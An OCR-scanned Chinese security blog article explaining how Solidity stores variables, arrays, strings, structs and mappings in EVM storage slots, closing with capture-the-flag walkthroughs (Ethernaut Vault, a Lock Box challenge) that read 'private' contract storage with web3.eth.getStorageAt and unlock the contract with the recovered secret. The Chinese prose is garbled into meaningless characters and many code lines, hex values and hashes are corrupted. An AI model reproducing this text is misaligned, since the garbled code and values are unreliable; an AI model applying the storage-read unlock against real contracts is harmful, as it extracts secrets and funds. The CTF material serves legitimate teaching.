(/) FHF (https://account.aliyun.com/login/login.htm?oauth_callback=https %3A%2F %2Fxz.aliyun.com%2Ft%2F9837&from_type=xianzhi)

BRESANESMEFIGIFRE

zpan (/u/34634) [ 2021-07-16 13:19:41 [ {4548 1015

Ox01 RIS

RIEEMRUKBEENS, E—RXELE—T

0x02 7Zfig#l#l

BEPMEMUXIBEMI (EVM) FBTHEESNNKSEER L XA MEFEHESE., XEEFHEE—TERNEAS, HENKERN
27256, THiNEFIEE S — AR MEE32FE T (256N tHS) KENE, HEGFMEREGN, F S8R LRBE,

Ox03 =R

Solidity IR L 2R B S NI E

o {HE#-value type

o 3|FHZ%E -reference type
TEIIHEANTSRE

EESS

o #/RE (bool) 2bit(0/1)
o EH(int/uint) RE\EXBFHNARRTABRKE, int8KRR8bitsBRF S
o ERFRE(fixed/ufixed) Solidity BEEREXKERKFERE., AIUFHAERFRENETE, ETELENKENEENKE
LHEHMES
o it 2 A (adress) 160bits
o it KRR G I E (balance,transfer....)
e _balance uint256(256bits)
e transfer() uint256(256bits)

o ERFTEA (byte[1]/bytes[1]) EXANEXKE

3.

o REKFIHENAZLE (bytes[]/byte[],string,uint[]....)

L
i

o ZEMI{R(struct)

o BT (mapping)

0x04 FEE

E-1EBEXENGY

pragma solidity ~0.4.25;

contract TEST{
bool a=false;
bool b=true;
intl6 c=32767;
uintl6 d=0x32;
byte e=10;
bytesl f=11;
bytes2 g=22;
uint h=0x1; //uintZuint256A49/F#
address i=0xbc6581lellc216B17aDf5192E209a7F95a49e6837;

MAEFEREN: WRT—IEERKENL—PEEKEMERTBI256bits, ENMEEMEER—TEEE


https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F9837&from_type=xianzhi
https://xz.aliyun.com/
https://xz.aliyun.com/u/34634

Storage (3)

Storage Address: 0x0000000000000000000000000000000000000000000000000000000000000000

Before:  Hex v —0x0

After: Hex v — 160b0200327FFfR100
Storage Address: 0x0000000000000000000000000000000000000000000000000000000000000001

Before:  Hex v —0x0

After:  Hex v — il
Storage Address: 0x0000000000000000000000000000000000000000000000000000000000000002

Before:  Hex v —0x@

After: Hex ~ — bc6581e11c216b17adf5192e209a7195a45e6837

(https://xzfile.aliyuncs.com/media/upload/picture/20210708230404-bc85945e-dffd-1.png)

RIBRHEMN
(https://ropsten.etherscan.io/tx/0xf9c22d427b6fdd2e3f29346104fd2f2b1badd318e86debead44adcdbal37f821d#statecha
nge) BN EFMREURSELAN LENE, TEHITON

0x0000000000000000000000000000000000000000000000160b0a00327fff0100 slot0d
//0x00 a false

//0x01 b true

//0x7fff ¢ 32767

//0x0032 d 0x32

//0x0a e 10

//0x0b f 11

//0x0016 g 22
0x0000000000000000000000000000000000000000000000000000000000000001 slotl
// h 0x1
0x000000000000000000000000bc6581ellc216bl7adf5192e209a7f95a49e6837 slot2
// 1 0x2

M EBEFIINE H

ENKBENTFHRERE
FHEIRE M S Al

EFREMARM

¢ byte.length==bytes1.length==8bits

Ox05 Z{éHKEE!
EREA
pragma solidity ~0.4.25;

contract TEST{

bytes8[5] a =
bool b=true;

[byte(Ox6a),0x68,0x79,0x75];

Storage (2)
Storage Address: 0x0000000000000000000000000000000000000000000000000000000000000000
Before:  Hex v —ex@
After: | Hex v —+@x75
Storage Address: 0x0000000000000000000000000000000000000000000000000000000000000002
Before:  Hex v —exe
After: | Hex ~ —+

(https://xzfile.aliyuncs.com/media/upload/picture/20210708230552-fca9c172-dffd-1.png)

AMNENREAMET TKENS, BRXMFRLERABTAT, AUMARZAT M bytes8H=[E

EAZAMM—T, FERSRE


https://xzfile.aliyuncs.com/media/upload/picture/20210708230404-bc85945e-dffd-1.png
https://ropsten.etherscan.io/tx/0xf9c22d427b6fdd2e3f29346104fd2f2b1badd318e86debea444adcdba37f821d#statechange
https://xzfile.aliyuncs.com/media/upload/picture/20210708230552-fca9c172-dffd-1.png

pragma solidity "@.4.25;

contract TESTH

bytes8[5] a = [byte(@x6a),0x68,8x79,0x75];
bool b=true;
function add(){
a.push(@x99):
I: TypeError: Member “push" not found or not visible after argument-dependent lookup in bytes8[5] storage ref
1sh(@x99);

(https://xzfile.aliyuncs.com/media/upload/picture/20210708230558-000caece-dffe-1.png)
ARk
TREA
pragma solidity ~0.4.25;
contract TEST{
uint[] a=[0x77,0x88,0x99];

function add(){
a.push(0x66) ;

Storage (4)

0000000000000000000000000000

=
=1

Storage Address

Before He

After

ORRHIBBHA0000BE00R00D0A00DEA0RI00BMARRO0BAARADDBRARDOBE0A3

Storage Address: (x200decdd548b62a8d J6293160efla563
Before:  Hex v =+ @x0

After:  He v = BxBORGORAGONOAGHOGEODEOOBROOEINRMIEABOBA0BAINRAGBIDBROOBANORN T 7

Storage Address: (290decd9548b62a8060345a885386ic84babbc05484008M362193 160ef3e504
Before: Hax v = @x@
After Hex « =t 0x0000020000000000000000

(https://xzfile.aliyuncs.com/media/upload/picture/20210716124702-dd14dbf0-e5f0-1.png)

Storage Address: 0x290decd9548b62a8d60345a9883861c84batbc954540086362/93160ef3e565

Before: | Hex v —*0x@

After:  Hex v —

(https://xzfile.aliyuncs.com/media/upload/picture/20210717205247-e314dbdc-e6fd-1.png)

RERSEN
(https://ropsten.etherscan.io/tx/0xf15acc653de386bc58eb1b9d83ad4afb6b6cf0f57560786076d4d86579b77c1f#statech
ange) BIMEFMAEMKIF RN LEHNE, TEHTIMN

0x0000000000000000000000000000000000000000000000000000000000000003 s1ot0

/1 FHERG 2 M Ha 9 K E3
0x0000000000000000000000000000000000000000000000000000000000000077 slotx
//al0]

0x0000000000000000000000000000000000000000000000000000000000000088 slot(x+1)
//all]

0x0000000000000000000000000000000000000000000000000000000000000099 slot (x+2)
//al[2]

Storage AddressfJH3E x=keccak_256(slot) slotRIEHERKEFZMENME, LLAXNNMME0, WNNEME

0x0000000000000000000000000000000000000000000000000000000000000000


https://xzfile.aliyuncs.com/media/upload/picture/20210708230558-000caece-dffe-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210716124702-dd14dbf0-e5f0-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210717205247-e314dbdc-e6fd-1.png
https://ropsten.etherscan.io/tx/0xf15acc653de386bc58eb1b9d83ad4afb6b6cf0f57560786076d4d86579b77c1f#statechange

import sha3
import binascii
def byte32(i):
return binascii.unhexlify('%064x'%i) #itEFEHRTEL

a=sha3.keccak_256(byte32(0)).hexdigest()

print(a)
#0x290decd9548b62a8d603452988386fc84babbc9548400816362f93160ef3e563 x

tbf=al1],a[2] M Rig1, 27T

REERMNEAMBadd()REE, RETHA

Storage (2)

Storage Address: 0x0000000000000000000000000000000000000000000000000000000000000000

Before: = Hex v — 3

After:  Hex v —

Storage Address: 0x290decd9548b62a8d60345a9883861c84babbc95484008f6362193160ef3e566

Before: = Hex v —

After:  Hex v —
(https://xzfile.aliyuncs.com/media/upload/picture/20210708230822-5624f708-dffe-1.png)
BE—HURRTHAHMNKE
BE-FRa2]EEN—TEES A0x66
0x06 “FifeRRE

pragma solidity ~0.4.25;

contract TEST{

string a='whoami';

Storage (1)

Storage Address: 0x0000000000000000000000000000000000000000000000000000000000000000

Before:  Hex v —0x0

After: Hex v —0x77686f616d6%

(https://xzfile.aliyuncs.com/media/upload/picture/20210708230844-63899d7c-dffe-1.png)

from Crypto.Util.number import x*
b=0x77686f616d69
print(long_to_bytes(b))

#b'whoami'

#OXCHXFHFERE BTFEL2 DAL

pragma solidity ~0.4.25;
contract TEST{

string a='%MHKX";


https://xzfile.aliyuncs.com/media/upload/picture/20210708230822-5624f708-dffe-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210708230844-63899d7c-dffe-1.png

Storage (1)

Storage Address: 0x0000000000000000000000000000000000000000000000000000000000000000

Before: | Hex v —@x@

After:  Hex v —@xe58588e79fa5e7adbee58ch 18

(https://xzfile.aliyuncs.com/media/upload/picture/20210708230855-69e60796-dffe-1.png)

from Crypto.Util.number import x
b=0xe58588e79fa5e7a4bee58cha
print(long_to_bytes(b).decode('utf-8"'))
#L A X

#0x18 HTRF L6 T+ AHAFL

pragma solidity ~0.4.25;
contract TEST{

string a='Genius only means hard-working all one\'s life.';

Storage (3)

Storage Address: 0x0000000000000000000000000000000000000000000000000000000000000000

Before:  Hex v —0x@

After:  Hex v — d

Storage Address: 0x290decd9548b62a8d60345a9883861c84babbc95484008f6362193160ef3e563

Before:  Hex v+ —*0x@

After:  Hex v — 0x47656e697573206F6e6c79206d6561627320686172642d776F726b696e672061

Storage Address: (0x290decd9548b62a8d60345a9883861c84babbc9548400816362193160ef3e564

Before:  Hex v+ —*0x@

After:  Hex v — 0x6c6c206T6e652773206c696665

(https://xzfile.aliyuncs.com/media/upload/picture/20210708230907-70d67c52-dffe-1.png)

LERS B 72 % 75 A ER A 2

from Crypto.Util.number import x
b=0x47656€697573206f6e6c79206d65616e7320686172642d7761726b696e6720616c6c206f6e652773206c6966652¢
print(long_to_bytes(b))

#b"Genius only means hard-working all one's life."

BET-T, (LG TEXEE, HRaddRBESREMFA

pragma solidity ~0.4.25;

contract TEST{
string a='abcdf';
function add(){
a='Genius only means hard-working all one\'s life.';

Storage (1)

Storage Address:  0x0000000000000000000000000000000000000000000000000000000000000000

Before: | Hex v —rox@

After:  Hex v —* @x61626364

(https://xzfile.aliyuncs.com/media/upload/picture/20210708230923-7ac79430-dffe-1.png)


https://xzfile.aliyuncs.com/media/upload/picture/20210708230855-69e60796-dffe-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210708230907-70d67c52-dffe-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210708230923-7ac79430-dffe-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210708230928-7da75c58-dffe-1.png

Storage (3)

Storage Address: (0x0000000000000000000000000000000000000000000000000000000000000000

Before: | Hex v —0x61626

After:  Hex v — d

Storage Address: 0x290decd3548b62a8d60345a988386fc84babbc95484008f6362f33160ef3e563

Before:  Hex v —

After:  Hex v — @x47656e697573206T6e6c79206d6561627320686172642d776T726b696e672061

Storage Address: 0x290decd9548b62a8d60345a9883861c84babhc954840086362193160ef3e564

Before: = Hex v —

After: Hex v — @x6c6c206T6e652773206c696665

(https://xzfile.aliyuncs.com/media/upload/picture/20210708230928-7da75c58-dffe-1.png)

Ox07 {3 ay

pragma solidity ~0.4.25;

contract TEST{

struct test{
bool a;
uint8 b;
uint c;
string d;

}

test student=test(true,0x01,0xff, ' 'abcd');

Storage (3)

Storage Address:  0x0000000000000000000000000000000000000000000000000000000000000000

Before:  Hex v —exe@

After:  Hex v — 1

Storage Address: 0x0000000000000000000000000000000000000000000000000000000000000001

Before:  Hex v+ —exe

After: | Hex v — 1

Storage Address:  0x0000000000000000000000000000000000000000000000000000000000000002

Before:  Hex v —oxe

After:  Hex v — @x6162636. 3

(https://xzfile.aliyuncs.com/media/upload/picture/20210708230945-875f232a-dffe-1.png)

R IBIR RO 1L R I

e a, bslot0
e c slot1
e d slot2

MRIBE T 32F T, IALLARIx=x=keccak_256(2)


https://xzfile.aliyuncs.com/media/upload/picture/20210708230928-7da75c58-dffe-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210708230945-875f232a-dffe-1.png

pragma solidity ~0.4.25;

contract TEST{

struct test{
bool a;
uint8 b;
uint c;
string d;

}

test[] student;

function add(){
student.push(test(true,0x01,0xff, 'abcd'));

Storage (4)

Storage Address: 0x0000000000000000000000000000000000000000000000000000000000000000

Before:  Hex v —

After:  Hex v — 1

Storage Address: (0x290decd9548b62a8d60345a988386fc84babbcd54540086362/93160ef3e563

Before:  Hex v —

After:  Hex v — 101

Storage Address: 0x290decd9548b62a8d60345a988386fc84babbc95484008f6362f93160ef3e564

Before:  Hex v —

After:  Hex v — ff

(https://xzfile.aliyuncs.com/media/upload/picture/20210708230957-8edbb488-dffe-1.png)

Storage Address: 0x290decd9548b62a8d60345a988386fc84batbc95484008f6362f93160ef3e565

Before:  Hex v —

After: Hex ¥ —* @x61626
(https://xzfile.aliyuncs.com/media/upload/picture/20210708231001-91503c98-dffe-1.png)

MBRMAFMEEMN, RFIUEMEREN - EFHEEHRE

Ox08 BREF SR

pragma solidity ~0.4.25;

contract TEST{
mapping(address=>uint) blance;
function add(){
blance[0xbc6581lel1c216B17aDf5192E209a7F95a49e6837]=0x01;

Storage (1)

Storage Address: 0x21d25f73dd60df1532a052f5f1044cb0f7986a31609d8674628447c29ai248

Before:  Hex v —

After:  Hex v = 1

(https://xzfile.aliyuncs.com/media/upload/picture/20210708231017-9adbb288-dffe-1.png)

TEMNEXHEH, x=keccak_256(key+slot)

o keyRRRMEI KRR GEF
o slotfRE X MREY LB E X M AYHEIE


https://xzfile.aliyuncs.com/media/upload/picture/20210708230957-8edbb488-dffe-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210708231001-91503c98-dffe-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210708231017-9adbb288-dffe-1.png

import sha3
import binascii
def byte32(i):

return binascii.unhexlify('%064x"'%1i)
key=0xbc658lellc216B17aDf5192E209a7F95a49e6837
b=byte32(key)+byte32(0)
a=sha3.keccak_256(b).hexdigest()
print(a)
#21d25f73dd60df1532a052f5f1044cb0f7986a31609d8674628447c29af248fb

pragma solidity ~0.4.25;

contract TEST{
mapping(uint8=>string) blance;
function add(){
blance[@xb]="Genius only means hard-working all one's life.";

Storage (3)

Storage Address: 0x3f6f2497fb590e494002b67c712e1fba86767d2906tb8e1ddae48d2b7d91908b

Before:  Hex v —ex

After: Hex v = Bx47656e697573206T6e6c79206d65616e7328686172642d776T726b6962672061

Storage Address: 0x36f2497fb590e494002b67c712e1fba86767d2906th8e1ddae48d2b7d91908c

Before:  Hex v —6x

After: Hex v —* Bx6c6c206T6e652773206c6966652

Storage Address: 0x9115655chbcdb654012ci1b2i7e5dbf11c9ef14e152a19d5i8ear5a329092d5a6

Before: = Hex v —6x

After:  Hex v —ox 5d

(https://xzfile.aliyuncs.com/media/upload/picture/20210708231030-a280a14c-dffe-1.png)

import sha3
import binascii
def byte32(i):
return binascii.unhexlify('%064x"'%1i)
key=0xb
b=byte32(key)+byte32(0)
a=sha3.keccak_256(b).hexdigest()
print(a)
#9115655cbcdb654012cf1b2f7e5dbfl1c9efld4el52al9d5f8ea75a329092d5a6 slot
a=sha3.keccak_256(byte32(slot)).hexdigest()
#3f6f2497fb590€494002b67c712e1fba86767d2906fb8elddae48d2b7d91908b

0x09 Za&%>)


https://xzfile.aliyuncs.com/media/upload/picture/20210708231030-a280a14c-dffe-1.png

pragma solidity >0.5.0;

contract StorageExample6 {
uint256 a = 11;
uint8 b = 12;
uint128 c = 13;
bool d = true;
uintl128 e = 14;
uint256[] public array = [401,402,403,405,406];

address owner;
mapping(address => UserInfo) public users;
string str="name value";

struct UserInfo {
string name;
uint8 age;
uint8 weight;
uint256[] orders;
uint64[3] lastlLogins;

constructor()public {
owner=msg.sender;

addUser(owner,'"admin",17,120);

function addUser(address user,string memory name,uint8 age,uint8 weight) public {
require(age>0 && age <100 ,"bad age");

uint256[] memory orders;
uint64[3] memory logins;

users[user] = UserInfo({
name: name, age: age, weight:weight,
orders:orders, lastLogins:logins
1)
}
function addLog(address user,uint64 idl,uint64 id2,uint64 id3) public{
UserInfo storage u = users[userl];
assert(u.age>0);

u.lastLogins[0]=id1;
u.lastLogins[1]=id2;
u.lastLogins[2]=1id3;

function addOrder(address user,uint256 orderID) public{
UserInfo storage u = users[user];
assert(u.age>0);
u.orders.push(orderID);
}
function getLogins(address user) public view returns (uint64,uint64,uint64){
UserInfo storage u = users[user]
return (u.lastLogins[@],u.lastLogins[1],u.lastLogins[2]);
}
function getOrders(address user) public view returns (uint256[] memory){
UserInfo storage u = users[user]
return u.orders;

-

BRAETK, BTE



p=keccak256(3)+index

-

keccak256 (p+2)+index

0: a array([0]
1: bed
2:e array[n]
3: array.length
4ownar array[...] EEETFA
5 p=keccak256 (key."5")
B: str or strlength peksccak2s6{6)
1 pragma solidity >0.5.9; prmm e p+0: name or name.length
4 H
3« contract StorageExample6 { 7: p+1: age, weight
" uint256 a = 11; 205 strlength > 31 then n -!engthiaz
S uint8 b = 12; ! p+2: orders.length
[ uintl28 ¢ 13; \
7 bool d = true; & p+3: lastLogins[0]
8 uintl28 e 14;
9 uint256[] public array [401,402,403,405,406] ; p+0: FE—F 32 bytes p+4: lastLogins(1]
10
1 address owner; p+1: B IH 32 bytes p+5: lastLogins[2]
12 mapping(address => UserInfo) public users;
1i string str="name value"; )
15 - struct UserInfo { p+n: ¥ n E 32 bytes
16 string name;
17 uint8 age; string {43 ER Tk
18 uint8 weight;
19 uint256[] orders;
20 uint64[3] lastlogins;
21 }
2z

(https://xzfile.aliyuncs.com/media/upload/picture/20210708231045-aba3c222-dffe-1.png)

Ox10 fERASR )

web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])

e address : String - EiEEVAHhE

e position : Number - FHEFHNRSIES

e defaultBlock : Number|String - A%, {FHIZSEE R web3.eth.defaultBlock B4 1E
e callback : Function - FIEHEIARE, HE—TSHNERNR, EZTSHNER.

S RN OE
@1 H— (https://ethernaut.openzeppelin.com/) --Vault

// SPDX-License-Identifier: MIT
pragma solidity ~0.6.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) public {
locked = true;

password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}

EXAHBEEEREAREMSHE, EETLEMBILERFIAR

REBHAWE, FJUHEpasswordIEMENIE =1

web3.eth.getStorageAt(contract.address, 1)


https://xzfile.aliyuncs.com/media/upload/picture/20210708231045-aba3c222-dffe-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210708231101-b4ea2696-dffe-1.png
https://ethernaut.openzeppelin.com/

> web3.eth.getStorageAt(contract.address, 1,)
¥ Promise {<pending>}
» __proto_ : Promise
[[PromiseState]]: "fulfilled"
[[PromiseResult]]: "@x41208766572792087374726f6e67207365637265742070617373776f7264203529"

(https://xzfile.aliyuncs.com/media/upload/picture/20210708231101-b4ea2696-dffe-1.png)

web3.utils. hexTolscii( ' @x412076657279287374726Ff6eh72073656372657420706173737767264203229")
"& very strong secret password :)"

(https://xzfile.aliyuncs.com/media/upload/picture/20210708231137-ca3fe2ba-dffe-1.png)

HiZER

contract.unlock("A very strong secret password :\)")//ZBHEiE

contract.unlock(web3.utils.hexToBytes('0x412076657279207374726f6e67207365637265742070617373776f7264203a29")

=",, = Well dome main.&977547d.j5:297979
=".."= VWell dome main.s977547d.95:297979
="_, "= VWell dome main.z977547d.55:297979
=".. = Vell dome main.z977547d.5:297979
=".."= VWell dome main.s977547d.q5:297979
="_. "= Well dome main.z977547d.95:297979
="., "= VWell dome main.z977547d.j5:297979
=".. = Vell dome main.s977547d.5:297979
main.s977547d.j5:297979
main.z977547d.95:297979
main.&977547d.j5:297979
main.s977547d. s :297979
main.z977547d.95:29797%

main.z977547d.95:297979
main.s977547d.35:297979

main.s977547d.35:297979

=".. "= Well done main.s977547d.55:297979
="_."= Well done main.s977547d.95: 297979
=".. "= Well done main.s977547d.95:297979

main.s977547d.95:297965

You, have.

>

(https://xzfile.aliyuncs.com/media/upload/picture/20210708231106-b8093100-dffe-1.png)

M HZ (https://blockchainctf.securityinnovation.com/#/) --Lock Box

pragma solidity 0.4.24;

import "../CtfFramework.sol";

contract Lockboxl is CtfFramework{
uint256 private pin;

constructor(address _ctfLauncher, address _player) public payable
CtfFramework(_ctfLauncher, _player)

pin = now%10000;
function unlock(uint256 _pin) external ctf{

require(pin == _pin, "Incorrect PIN");
msg.sender.transfer(address(this).balance);

s EFRALBLE
e constructor REMERHRAIT—IX


https://xzfile.aliyuncs.com/media/upload/picture/20210708231101-b4ea2696-dffe-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210708231137-ca3fe2ba-dffe-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20210708231106-b8093100-dffe-1.png
https://blockchainctf.securityinnovation.com/#/

Storage (3)
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